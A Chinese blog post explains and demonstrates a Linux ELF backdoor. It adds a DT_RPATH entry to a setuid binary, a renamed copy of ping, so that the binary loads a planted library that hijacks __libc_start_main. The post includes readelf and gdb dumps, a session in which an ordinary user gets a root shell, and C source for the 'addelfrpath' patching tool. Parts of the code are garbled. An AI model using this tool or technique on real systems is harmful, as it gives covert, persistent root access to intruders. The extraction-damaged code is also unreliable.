- 浏览: 818379 次
- 性别:
- 来自: 北京
文章分类
最新评论
-
yuhanwm910731:
我现在需要实现复选(非级联选择)的树形下拉菜单,麻烦发给我一份 ...
extjs3.X支持树型的下拉控件 -
shine1200:
“所以咱们现在设置的虚拟路径“/message/upload/ ...
weblogic虚拟路径的配置和使用(2) -
icefireforest:
Fangrn 写道jx_dream 写道楼主,我最近在做树形下 ...
extjs3.X支持树型的下拉控件 -
cloudfile:
谢谢分享!
c++库c#调用开发时需要注意的一点 -
xuweilinbegin:
我也要一份哦:xuweilin15353@163.com,谢谢 ...
extjs3.X支持树型的下拉控件
一.前言
二.分析
三.结论
四.实现
五.参考
一.前言
前一段时间回顾elf文件方面的知识时,翻了以前很多优秀的文章,在xfocus的帮助文件unix版中看到了alert7大侠
<> 这篇文章,看了一下时间9月/14号,那段时间忙着重修,没到网吧去。alert7没有贴代码,我想还是有人不了解,就把这篇文章写出来给大家整理性的介绍一下,这里指的是linux下。
这篇文章不是介绍elf基础的文章,所以一些概念性的东西请参考elf鉴别,然后拿起你的gdb实际去了解一下啥叫got,
plt,重定向的概念,了解一下动态连接和静态连接,用readelf或者objdump实际看一下,后面的参考中可以找到你需要的。
文中错误再所难免,欢迎指正;)
二.分析
后门存在的原因:
————————————————————————————————————————————————
引自<>
*动态数组标记DT_RPATH保存着目录列表的字符串(用冒号(:)分隔)。
例如,字符串/home/dir/lib:/home/dir2/lib:告诉动态连接器先搜索
/home/dir/lib,再搜索/home/dir2/lib,再是当前目录。
LD_LIBRARY_PATH环境变量设置的目录在DT_RPATH指向的目录之后被搜索。
而且出于安全考虑,动态连接器忽略set-user和set-group的程序的
LD_LIBRARY_PATH所指定的搜索目录。但它会搜索DT_RPATH指明的目录和
/usr/lib。所以这个DT_RPATH还是比较感兴趣的。
有了以上的基本知识,我们可以在一个set-user的程序上安装一个DT_RPATH入口(一般程序都没有)。
让其搜索路径首先为当前目录。把我们自己编写的库以其名字放到当前目录下,更让其加栽我们自己的动态库。
这样我们就可以得到set-user的权限了。
截获了__libc_start_main,肯定能确保ping 程序放弃特权之前执行。(假如截获malloc之类的就不能确保了)。
因为我们用到了一些libc.so.6中的函数,所以我们需要把我们自己的LIB以libresolv.so.2的名字存放在当前目录下。
————————————————————————————————————————————————————————————————————————————————————
由此实现这个后门的关键在于:
a:修改或添加(通常是不存在的)在.dynamic节中(数组)d_tag为DT_RPATH的入口结构(entry)d_un.d_val指向为到
.dynstr节的的一个以**NULL结尾字符串的偏移量(如果存在DT_RATH的话).此字符串是路径的集合,其中路径以:分开。
最后一个:后面表示当前目录,如果前面的字符串改成这样的"_wujianqiang:\0"(这样用来表示一个NULL;))表明现在当前
目录下的_wujianqiang子目录中寻找,然后再在当前目录下寻找,显然这里采用的相对目录,我们主要是构造这个字符串,同时
我们要想到,我们是添加一个这样的字符串还是修改某个字符串成为我们需要的形式,显然前者就比较复杂,就要使program header ,
section 的某些成员都要改变,所以我们采用修改的方法,找一个动态符号修改,这里我选用了__gmon_start__这个字符串。
当然其它的也可以,不过发现__gmon_start__有点特殊,并且几乎所有的程序里都有这个符号,所以我就选了这个。
通常d_tag为DT_RPATH的入口结构不存在,所以我们要添加这个DT_RPATH,实际上.dynamic数组中应该有几个空的没用的这样
的NULL入口,(一般都可以找到)所以我在程序中找的是第一个NULL入口,没有采用修改某些入口的方法。同样的这里我们不需要修改任
何section,program header 的某些结构成员,因为这里有并且存在entry结构,我们不用添加只要修改。至此我们的elf文件修
改任务结束。
b.现在我们只需要做的就是截获那个函数的问题,alert7提出了截获__libc_start_main这个函数,我们就来截获这个函数
但是为啥“能够“截获这个函数的原因我们在后面讲述。
我们先解决问题a:
下面是相关知识
通常来说每一个动态连接的object它的程序头表将有一个类型为PT_DYNAMIC的元素。该“段”包含了.dynamic section。
每个入口(entry)的结构如下:
+ 图一. Dynamic Structure
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
下面用readelf解释一下
+图二
wujian@redhat72 elf_door$ readelf -l ./pinG
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
....
DYNAMIC 0x005618 0x0804e618 0x0804e618 0x000d0 0x000d0 RW 0x4
Section to Segment mapping:
Segment Sections...
....
04 dynamic
wujian@redhat72 elf_door$ readelf -S ./pinG
There are 24 section headers, starting at offset 0x57cc:
Section Headers: 其中省略部分
Nr Name Type Addr Off Size ES Flg Lk Inf Al
4 .dynsym DYNSYM 080482a0 0002a0 000370 10 A 5 1 4
5 .dynstr STRTAB 08048610 000610 000233 00 A 0 0 1
8 .rel.dyn REL 080488e4 0008e4 000030 08 A 4 0 4
9 .rel.plt REL 08048914 000914 000168 08 A 4 b 4
11 .plt PROGBITS 08048a94 000a94 0002e0 04 AX 0 0 4
12 .text PROGBITS 08048d80 000d80 003230 00 AX 0 0 16
19 .got PROGBITS 0804e554 005554 0000c4 04 WA 0 0 4
20 .dynamic DYNAMIC 0804e618 005618 0000d0 08 WA 5 0 4
注意LK字段“关联“的含义,.dynamic节关联着.dynstr节,.dynsym节也关联着.dynstr节,8,9
节关联着.dynsym节
对每一个有该类型的object,d_tag控制着d_un的解释。
+ 图三: Dynamic Array Tags, d_tag
Name Value d_un Executable Shared Object
==== ===== ==== ========== =============
DT_NULL 0 ignored mandatory mandatory
DT_NEEDED 1 d_val optional optional
DT_STRTAB 5 d_ptr mandatory mandatory
...省略,保留了我们关心的
DT_RPATH 15 d_val optional ignored
...
DT_NULL标记的入口表示了_DYNAMIC数组,也既.dynamic节的结束。
DT_NEEDED这个entry, 这个元素保存着以NULL结尾的字符串表的偏移量,这些字符串是所需库的名字。该偏移量是以DT_STRTAB
为入口的表的索引。动态数组可能包含了多个这个类型的入口。那些入口的相关顺序是重要的.请注意相关顺序!---->注意
DT_STRTAB该元素保存着字符串表地址,在第一部分有描述,包括了符号名,库名, 和一些其他的在该表中的字符串。
DT_RPATH该元素在联合结构d_val保存着以NULL结尾的搜索库的搜索目录字符串的字符串表偏移量。 ----->注意
+图四
wujian@redhat72 elf_door$ readelf -d ./pinG
Dynamic segment at offset 0x5618 contains 22 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: libresolv.so.2
0x00000001 (NEEDED) Shared library: libc.so.6
0x0000000c (INIT) 0x8048a7c
0x0000000d (FINI) 0x804bfb0
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048610
0x00000006 (SYMTAB) 0x80482a0
0x0000000a (STRSZ) 541 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804e554
0x00000002 (PLTRELSZ) 360 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048914
0x00000011 (REL) 0x80488e4
0x00000012 (RELSZ) 48 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80488b4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048844
0x0000000f (RPATH) Library rpath: _wujianqiang:
0x00000000 (NULL) 0x0
从上面看到DT_STRTAB联合d_un中的v_ptr指向的是.dynstr节
.plt 的概念在这里不再阐述。注意JMPREL,PLTGOT.
通过上面的一些介绍,我们进入正式的话题,首先我们要解决的是修改"__gmon_start__"为"_wujianqiang:\0"或者
"xxx:\0"类似的东西,实际":\0"就行了。以NULL结尾就ok了。
问题为啥修改__gmon_start__这个符号?
下面我们先看一个正常的关于__gmon_start__的输出
wujian@redhat72 elf_door$ readelf -a ./elf
...
Relocation section '.rel.dyn' at offset 0x478 contains 2 entries:
Offset Info Type Symbol's Value Symbol's Name
0804a2e4 01506 R_386_GLOB_DAT 00000000 __gmon_start__
Symbol table '.dynsym' contains 22 entries:
Num: Value Size Type Bind Vis Ndx Name
...
97: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
Name Value Field Calculation
==== ===== ===== ===========
R_386_GLOB_DAT 6 word32 S 通常我们看到的是R_386_JMP_SLOT这种类型的
R_386_GLOB_DAT This relocation type is used to set a global offset table entry to the address
of the specified symbol. The special relocation type allows one to determine
the correspondence between symbols and global offset table entries.
* R_386_GLOB_DAT
这种重定位类型用于设置一个全局偏移表入口为指定符号的地址。该特定的重定位 (alert7大侠译)
类型允许你决定符号和全局偏移表入口之间的一致性。
S This means the value of the symbol whose index resides in the relocation entry.
* S
表示索引驻留在重定位入口处的符号值。
19 .got PROGBITS 0804a290 001290 000058 04 WA 0 0 4
20 .dynamic DYNAMIC 0804a2e8 0012e8 0000c8 08 WA 5 0 4
offset=0804a2e4
实际上这个重定位标示的偏移是got节的最后一个入口,并设置这个入口的值为__gmon_start__的这个符号的地址。
下面做一个小测试实际看一下:
/*test.c*/
int __gmon_start__(){return 0;}
int main(){return __gmon_start__();}
EOF
wujian@redhat72 elf_door$ readelf -a test
Section Headers:
Nr Name Type Addr Off Size ES Flg Lk Inf Al
..
8 .rel.dyn REL 08048294 000294 000008 08 A 4 0 4
9 .rel.plt REL 0804829c 00029c 000020 08 A 4 b 4
..
12 .text PROGBITS 08048330 000330 000160 00 AX 0 0 16
19 .got PROGBITS 080494dc 0004dc 000020 04 WA 0 0 4
20 .dynamic DYNAMIC 080494fc 0004fc 0000c8 08 WA 5 0 4
----------------------------------------------------------------
Relocation section '.rel.dyn' at offset 0x294 contains 1 entries:
Offset Info Type Symbol's Value Symbol's Name
080494f8 00606 R_386_GLOB_DAT 08048430 __gmon_start__ offset=0x080494f8实际是got的最后一个入口偏移
----------------------------------------------------------------
Relocation section '.rel.plt' at offset 0x29c contains 4 entries:
Offset Info Type Symbol's Value Symbol's Name
080494e8 00107 R_386_JUMP_SLOT 080482e4 __register_frame_info
080494ec 00207 R_386_JUMP_SLOT 080482f4 __deregister_frame_info
080494f0 00307 R_386_JUMP_SLOT 08048304 __libc_start_main
---------------------------------------------------------------
Symbol table '.dynsym' contains 7 entries:
Num: Value Size Type Bind Vis Ndx Name
3: 08048304 202 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0">__libc_start_main@GLIBC_2.0 (2)
6: 08048430 10 FUNC GLOBAL DEFAULT 12 __gmon_start__
rel.dyn实际重定位对应.dynsym 本来__gmon_start__不应该出现在这里,对应与上面的解释
10个字节,函数类型,value为0x8048430,关联与12.text
----------------------------------------------------------------
Symbol table '.symtab' contains 77 entries:
Num: Value Size Type Bind Vis Ndx Name
.. 实际上__gmon_start不需要重定位
67: 08048304 202 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_2.0">__libc_start_main@@GLIBC_2.0
76: 08048430 10 FUNC GLOBAL DEFAULT 12 __gmon_start__
------------------------------------------------------------------
wujian@redhat72 elf_door$ gdb -q test
(gdb) disas main
Dump of assembler code for function main:
0x804843c : push %ebp
0x804843d : mov %esp,%ebp
0x804843f : sub $0x8,%esp
0x8048442 : call 0x8048430 <__gmon_start__>
0x8048447 : mov %eax,%eax
0x8048449 : mov %eax,%eax
0x804844b : leave
0x804844c : ret
0x804844d : lea 0x0(%esi),%esi
End of assembler dump.
(gdb) b *0x8048430
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/wujian/share/elf_door/test
Breakpoint 1, 0x08048430 in __gmon_start__ ()
(gdb) disas
Dump of assembler code for function __gmon_start__:
0x8048430 <__gmon_start__>: push %ebp
0x8048431 <__gmon_start__+1>: mov %esp,%ebp
0x8048433 <__gmon_start__+3>: mov $0x0,%eax
0x8048438 <__gmon_start__+8>: pop %ebp
0x8048439 <__gmon_start__+9>: ret
0x804843a <__gmon_start__+10>: mov %esi,%esi
End of assembler dump.
(gdb) x/x 0x80494f8 ---〉got偏移地址offset处的入口值修改为该符号的地址
0x80494f8 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048430
综上所述,推断出结论了吧;(
这个修改很简单通过遍历section,我们先寻找节类型sh_type==SHT_DYNSYM的动态符号节.dynsym节,同时这个节关联这.dynstr节
(看图三)sh_link=.dynstr,我们把dynstr节缓存,然后寻找符号的st_name(偏移索引)是否等同于__gmon_start__,
然后修改,以上修改结束,并且我们得到了index索引的偏移;
然后添加DT_RPATH这个entry,上面说过的我们寻找第一个NULL入口,我们通过遍历.dynamic数组找到第一个NULL入口结构
然后修改d_tag为DT_RPATH,然后把上面的到的index添入d_un.val中,至此修改elf文件完毕。
至此我们任务a完毕。
现在我们来看问题b:
为啥"能够"截获__libc_start_main()?
这就要涉及到符号解析和plt的概念
我们还用上面的test.c演示;
wujian@redhat72 elf_door$ gdb -q test
(gdb) disas _start
Dump of assembler code for function _start:
0x8048330 <_start>: xor %ebp,%ebp
0x8048332 <_start+2>: pop %esi
0x8048333 <_start+3>: mov %esp,%ecx
0x8048335 <_start+5>: and $0xfffffff0,%esp
0x8048338 <_start+8>: push %eax
0x8048339 <_start+9>: push %esp
0x804833a <_start+10>: push %edx
0x804833b <_start+11>: push $0x8048490
0x8048340 <_start+16>: push $0x80482bc
0x8048345 <_start+21>: push %ecx
0x8048346 <_start+22>: push %esi
0x8048347 <_start+23>: push $0x804843c
0x804834c <_start+28>: call 0x8048304 <__libc_start_main> ---〉(实际也是需要重定位的,最关键的)
0x8048351 <_start+33>: hlt
0x8048352 <_start+34>: mov %esi,%esi
End of assembler dump.
(gdb) b *0x8048304
Breakpoint 1 at 0x8048304
(gdb) r
Starting program: /home/wujian/share/elf_door/test
Breakpoint 1 at 0x8048304: file ../sysdeps/generic/libc-start.c, line 53.
Breakpoint 1, 0x08048304 in __libc_start_main () at ../sysdeps/generic/libc-start.c:53
53 ../sysdeps/generic/libc-start.c: No such file or directory.
in ../sysdeps/generic/libc-start.c
(gdb) disas
Dump of assembler code for function __libc_start_main:
0x8048304 <__libc_start_main>: jmp *0x80494f0 0x8048304 plt中的entry 0x80494f0是got的地址
0x804830a <__libc_start_main+6>: push $0x10
0x804830f <__libc_start_main+11>: jmp 0x80482d4 <_init+24>
End of assembler dump.
(gdb)
下面关于符号解析的问题请参考alert7大侠的<< ELF动态解析符号过程(修订版)>>。需要注意的是我们之所以能截获__libc_start_
main是因为ping这个程序加载了两个.SO, 解析符号时link_map的结构中两个双向链表连接被加载的.SO,因为实际上因为顺着链表查询
符号因为先找到libresolv.so.2,然后才是libc.so.6。看图3注意处,DT_NEEDED,基本说明白了。
具体的过程不贴了,自己动手fixup一下。
我们看一下真实的ping DT_RPATH后门
wujian@redhat72 elf_door$ id
uid=500(wujian) gid=500(wujian) groups=500(wujian)
wujian@redhat72 elf_door$ su root
Password:
root@redhat72 elf_door cp /bin/ping /bin/pinG
root@redhat72 elf_door cp addelfrpath disp/
root@redhat72 elf_door cp libresolv.so.2 disp/
root@redhat72 elf_door cd disp
root@redhat72 disp ls
addelfrpath libresolv.so.2
root@redhat72 disp /bin/pinG
Usage: ping -LRUbdfnqrvV -c count -i interval -w wait
-p pattern -s packetsize -t ttl -I interface address
-T timestamp option -Q tos host
root@redhat72 disp readelf -d /bin/pinG
Dynamic segment at offset 0x5618 contains 21 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: libresolv.so.2
0x00000001 (NEEDED) Shared library: libc.so.6
0x0000000c (INIT) 0x8048a7c
0x0000000d (FINI) 0x804bfb0
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048610
0x00000006 (SYMTAB) 0x80482a0
0x0000000a (STRSZ) 541 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804e554
0x00000002 (PLTRELSZ) 360 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048914
0x00000011 (REL) 0x80488e4
0x00000012 (RELSZ) 48 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80488b4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048844
0x00000000 (NULL) 0x0
root@redhat72 disp ./addelfrpath /bin/pinG
+hErE is to Start
+filetype is ok
+modify __gmon_start__ to _wujianqiang:
+20 real entrys add DT_RPATH entry
game over
root@redhat72 disp readelf -d /bin/pinG
Dynamic segment at offset 0x5618 contains 22 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: libresolv.so.2
0x00000001 (NEEDED) Shared library: libc.so.6
0x0000000c (INIT) 0x8048a7c
0x0000000d (FINI) 0x804bfb0
0x00000004 (HASH) 0x8048128
0x00000005 (STRTAB) 0x8048610
0x00000006 (SYMTAB) 0x80482a0
0x0000000a (STRSZ) 541 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804e554
0x00000002 (PLTRELSZ) 360 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048914
0x00000011 (REL) 0x80488e4
0x00000012 (RELSZ) 48 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80488b4
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048844
0x0000000f (RPATH) Library rpath: _wujianqiang:
0x00000000 (NULL) 0x0
root@redhat72 disp exit
exit
wujian@redhat72 elf_door$ cd disp
wujian@redhat72 disp$ ls -l
total 28
-rwxr-xr-x 1 root root 17822 Apr 27 00:36 addelfrpath
-rwxr-xr-x 1 root root 5610 Apr 27 00:36 libresolv.so.2
wujian@redhat72 disp$ ls -l /bin/pinG
-rwsr-xr-x 1 root root 23436 Apr 27 00:38 /bin/pinG
wujian@redhat72 disp$ /bin/pinG
root@redhat72 disp id
uid=0(root) gid=500(wujian) groups=500(wujian)
root@redhat72 disp
三.结论
通过一些实验,基本上所有的suid的程序只要加载了依赖的.SO就可以添加这个后门。这是一项简单而巧妙的技术,而且不宜被发现,所以一个完整性校检是安全的重要保证,但我对一个系统被入侵后还能不能用已经不报希望了:)
四.程序实现
/*
* elfaddRPATH.c
* by wujian (wujianqiangis@mail.china.com) only tested on rh72.
* only for test :) thanks alert7@xfocus scz@nsfocus wandb@nsfocus silvio@big.net.au
* about ELF articles.
*
*/
include //not supply the header files :) and some simple codez not supply
define ERR(fn) { perror(fn);exit(1);}
char * symgname= "__gmon_start__";//default modify symbol name
char * m_symgname="__gmon_start:";
char * myname="_wujianqiang:" //modify to ...
void elf_check(Elf32_Ehdr *ehdr);
static int add_ent(int fd ,unsigned int * index , Elf32_Ehdr * ehdr, Elf32_Shdr * shdr);
static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname);
/*---------------------------------add entry in .dynamic section-------------------------*/
static int add_ent(int fd ,unsigned int * index , Elf32_Ehdr * ehdr, Elf32_Shdr * shdr)
{
Elf32_Shdr * shdyn=shdr;
Elf32_Dyn * dyn,*dynp;
int i,offset=0;
int ent=0;
int find=0;
int dt_rpath=15; //from elf spec DT_RPATH=15
for(i=0;ie_shnum;i++)
{
if(shdyn->sh_type==SHT_DYNAMIC)
{
find=1;
break ;
}
shdyn++;
}
if(find==0)
{
printf(".dynamic section not find\n");
exit(0);
}
dyn=(Elf32_Dyn *)malloc(shdyn->sh_size);
if(dyn==NULL)
ERR("malloc");
if(lseek(fd,shdyn->sh_offset,SEEK_SET)!=shdyn->sh_offset)
ERR("lseek");
if(read(fd,dyn,shdyn->sh_size)!=shdyn->sh_size)
ERR("read");
dynp=dyn;
for(i=0;ish_size;i+=shdyn->sh_entsize)
{
ent++;
/*here is only find first NULL entry , not think too much,also don't find DT_RPAHT is exist!
add your code here:) */
if(dynp->d_tag==0 && (dynp->d_un.d_val==0 || dynp->d_un.d_ptr==0))
{
printf("+%d real entrys add DT_RPATH entry\n",ent-1);
offset=(dynp-dyn)*shdyn->sh_entsize;
goto modify;
}
dynp++;
}
out:
printf("no space\n");
free(dyn);
return -1;
modify:
if(lseek(fd,shdyn->sh_offset+offset,SEEK_SET)!=shdyn->sh_offset+offset)
ERR("lseek");
if(write(fd,&dt_rpath,sizeof(dynp->d_tag))!=sizeof(dynp->d_tag))
ERR("write");
if(write(fd,index,sizeof(dynp->d_un.d_val))!=sizeof(dynp->d_un.d_val))
ERR("write");
printf("+game over\n");
free(dyn);
return 0;
}
/*---------------------------------modifiy symbol name-------------------------------------------*/
static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname)
{
Elf32_Shdr * shdrp=shdr;//for loop
Elf32_Shdr * strsym;
char * string;
Elf32_Sym *sym,*symp;
int i;
int find=0;
for(i=0;ie_shnum;i++)
{
if(shdrp->sh_type==SHT_DYNSYM)
{ find=1;
break;
}
shdrp++;
}
if(!find)
{
printf("not find SHT_DYNSYM\n");
exit(1);
}
strsym=&shdrshdrp->sh_link;
string=(char *)malloc(strsym->sh_size);
if(strsym==NULL)
ERR("malloc");
if(lseek(fd,strsym->sh_offset,SEEK_SET)!=strsym->sh_offset)
ERR("lseek");
if(read(fd,string,strsym->sh_size)!=strsym->sh_size)
ERR("read");
sym=(Elf32_Sym *)malloc(shdrp->sh_size);
if(sym==NULL)
ERR("malloc");
if(lseek(fd,shdrp->sh_offset,SEEK_SET)!=shdrp->sh_offset)
ERR("malloc");
if(read(fd,sym,shdrp->sh_size)!=shdrp->sh_size)
ERR("read");
symp=sym;
for(i=0;ish_size;i+=shdrp->sh_entsize)
{
if(!strcmp(&stringsymp->st_name,symname))
{
if(lseek(fd,strsym->sh_offset+symp->st_name,SEEK_SET)!=strsym->sh_offset+symp->st_name)
ERR("lseek");
printf("+modify %s to %s \n",symgname,myname);
if(write(fd,myname,strlen(symgname))!=strlen(symgname))
ERR("write");
free(string);
return symp->st_name;
}
symp++;
}
printf("not find match symbol\n");
return -1;
}
/*---------------------------------file check--------------------------------------------*/
void elf_check(Elf32_Ehdr *ehdr)
{
//add your code here ,not supply
}
/*---------------------------------------main----------------------------------------------------*/
int main(int argc , char * argv)
{
Elf32_Ehdr ehdr;
Elf32_Phdr *phdr;
Elf32_Shdr *shdr;
char *sdata;
int ofshoff,slen;
int fd;
unsigned int index;
if(argc!=2)
{ printf("usage:%s \n"
"elfADDRPATH by wujianqiang@mail.china.com\n",
argv0
);
exit(1);
}
printf("+hErE is to Start \n");
if((fd=open(argv,O_RDWR))<0)
ERR("open");
if(read(fd,&ehdr,sizeof(ehdr))!=sizeof(ehdr))
ERR("read");
elf_check(&ehdr);
printf("+filetype is ok\n");
sdata = (char *)malloc(slen=sizeof(*shdr)*ehdr.e_shnum);
if (sdata == NULL)
ERR("malloc");
if (lseek(fd, ofshoff = ehdr.e_shoff, SEEK_SET) < 0)
ERR("lseek");
if (read(fd, sdata, slen) != slen)
ERR("read");
if((index=mod_sym(fd,&ehdr,(Elf32_Shdr *)sdata,symgname))<0)
exit(1);
if(add_ent(fd,&index,&ehdr,(Elf32_Shdr *)sdata)<0)
{
printf("+some err?\n");exit(1);
}
close(fd);
free(sdata);
exit(0);
}
EOF
五.参考 (因为我宿舍不能上网,所以我只能贴一部分连接地址:)
1.ELF动态解析符号过程(修订版) by alert7
http://www.xfocus.net/articles/200201/337.html
2.ELF后门之DT_RPATH篇 by alert7
安全焦点unix版
3. ELF文件格式(中文) by alert7
http://www.xfocus.net/articles/200105/174.html
4.共享库注射--injectso实例 by grip2
http://www.xfocus.net/articles/200208/438.html
5.p56-7
<> by Silvio Cesare
6.如何修改动态库符号表 by wandb
相关推荐
《深入理解ELF文件格式与解析器开发》 在软件开发领域,ELF...通过这个过程,不仅可以掌握ELF文件的内部结构,还可以提升对二进制文件解析和调试技术的掌握,对于软件开发和逆向工程等领域具有很高的实用价值。
在压缩包"elf_pack-master"中,"master"通常指的是一个项目的主分支,这可能是一个Git仓库的名称,意味着里面包含了项目的完整源代码和版本控制信息。用户可以克隆、编译并运行这些代码,以实现对ELF文件的加密。 ...
这个名为"Tasking_elf_hex_hex_elf_bat_"的压缩包显然包含了一个工具或脚本来完成从ELF(Executable and Linkable Format)文件到HEX(Intel Hex)文件的转换。ELF是Linux和类Unix系统中广泛使用的可执行文件和共享...
支持全部ELF类型解析。支持32位/64位elf文件自适应解析、可解析elf文件头、程序头、节头、字符表、符号表、...可以解析linux及大部分嵌入式的编译输出文件,如gcc、keil mdk、iar、ccs等编译器的输出文件格式均为ELF。
本文主要关注的是Linux环境下的ELF(Executable and Linkable Format)文件结构。ELF是Unix和类Unix系统,如Linux,广泛采用的一种文件格式,用于存放可执行程序、动态链接库(.so)和静态链接库(.a)。在Windows...
本篇文章将详细探讨如何使用Java来解析SO(ELF)文件,包括文件头部、程序头部表和节区头部表等关键组成部分。 首先,我们需要理解ELF文件格式的基本概念。ELF是一种广泛使用的Unix和类Unix系统中的可执行文件、...
这个压缩包“ELF_File_Format.rar”提供了对ELF文件格式的深入解析,对于理解和操作这种格式的文件非常有帮助。 在ELF文件结构中,主要包含以下几个关键部分: 1. **头部**:ELF文件的第一个部分是文件头,它包含...
总之,"elf_hook_with_c_ELFfileformat_elf_slabsli9_"涉及的是利用C语言对ELF文件进行程序化调试的技术,包括解析ELF文件格式、操作符号表、实现动态钩子以及理解内存管理机制。这样的知识对于深入理解和调试Unix和...
本文将深入探讨ELF文件动态解析符号的过程,重点关注elf_hash算法以及动态解析中的关键步骤。 首先,让我们理解ELF文件结构。ELF文件包含头信息、程序头表和段表,这些部分定义了程序的结构和运行时行为。其中,...
ELF(Executable and Linkable Format)文件格式是Unix和类Unix操作系统,如Linux,FreeBSD等,广泛使用的可执行文件、动态链接库、内核模块的二进制格式。它取代了早期的a.out格式,提供了更高效、更灵活的二进制...
ELF,全称为Executable and Linkable Format(可执行和可链接格式),是Linux系统下广泛使用的二进制文件格式。它包含了程序代码、数据、符号表、重定位信息等多种元素,使得编译器、链接器、加载器以及运行时系统...
BlockTheSpot - Spotify ad-blockerInstallation:1.) Browse to Spotify installation folder %APPDATA%\Spotify2.) Download chrome_elf.zip3.) Replace chrome_elf.dll config.ini from chrome_elf.zip to that ...
"Linux下的ELF文件格式简介" ELF(Executable and Linkable Format,可执行与链接格式)文件格式是Linux操作系统中的一种常用的目标文件格式。它是由UNIX System Laboratories(USL)开发的,目的是为了提供一种...
例如,要查看一个ELF文件的全部信息,可以运行`readelf -a your_elf_file`;要查看其符号表,可以运行`nm your_elf_file`。这些命令会输出大量的详细信息,有助于深入理解ELF文件的内部结构和内容。 总的来说,虽然...
### Linux系统下的ELF文件分析 #### 1. 引言 随着Linux系统的不断发展与普及,**可执行和可链接格式(Executable and Linkable Format,简称ELF)**已成为Linux系统下极其重要的可执行文件格式之一。作为一种标准...
nupkg格式的C#库文件,专门用来解析elf类文件的,使用的时候先加载安装这个库,怎么安装自行百度C# nupkg, 然后using包含ELFSharp.ELF.XXX的命名空间,然后就可以操作对应的函数了, 实例: var elf = ELFReader....
签名下载ELF检测
ELF文件,大名叫 Executable and Linkable Format。在计算机科学中,是一种用于二进制文件、可执行文件格式 ELF文件由4部分组成,分别是ELF头(ELF header)、程序头表(Program header table)、节(Section)和节...
"elf_learning_files.zip"这个压缩包集合了关于ELF格式的重要学习资料,包括《ELF Specific 中英文版》、《Learning Linux Binary Analysis 英文版》以及《ELF文件格式详解》等,对于深入理解ELF格式及其在二进制...
本篇文章将基于“elf for linux.rar”中的资源,尤其是“elf”文件,深入解析ELF格式,帮助读者从源代码层面理解其工作原理。 一、ELF文件结构 ELF文件由多个头和节(Sections)组成,这些元素定义了程序的结构和...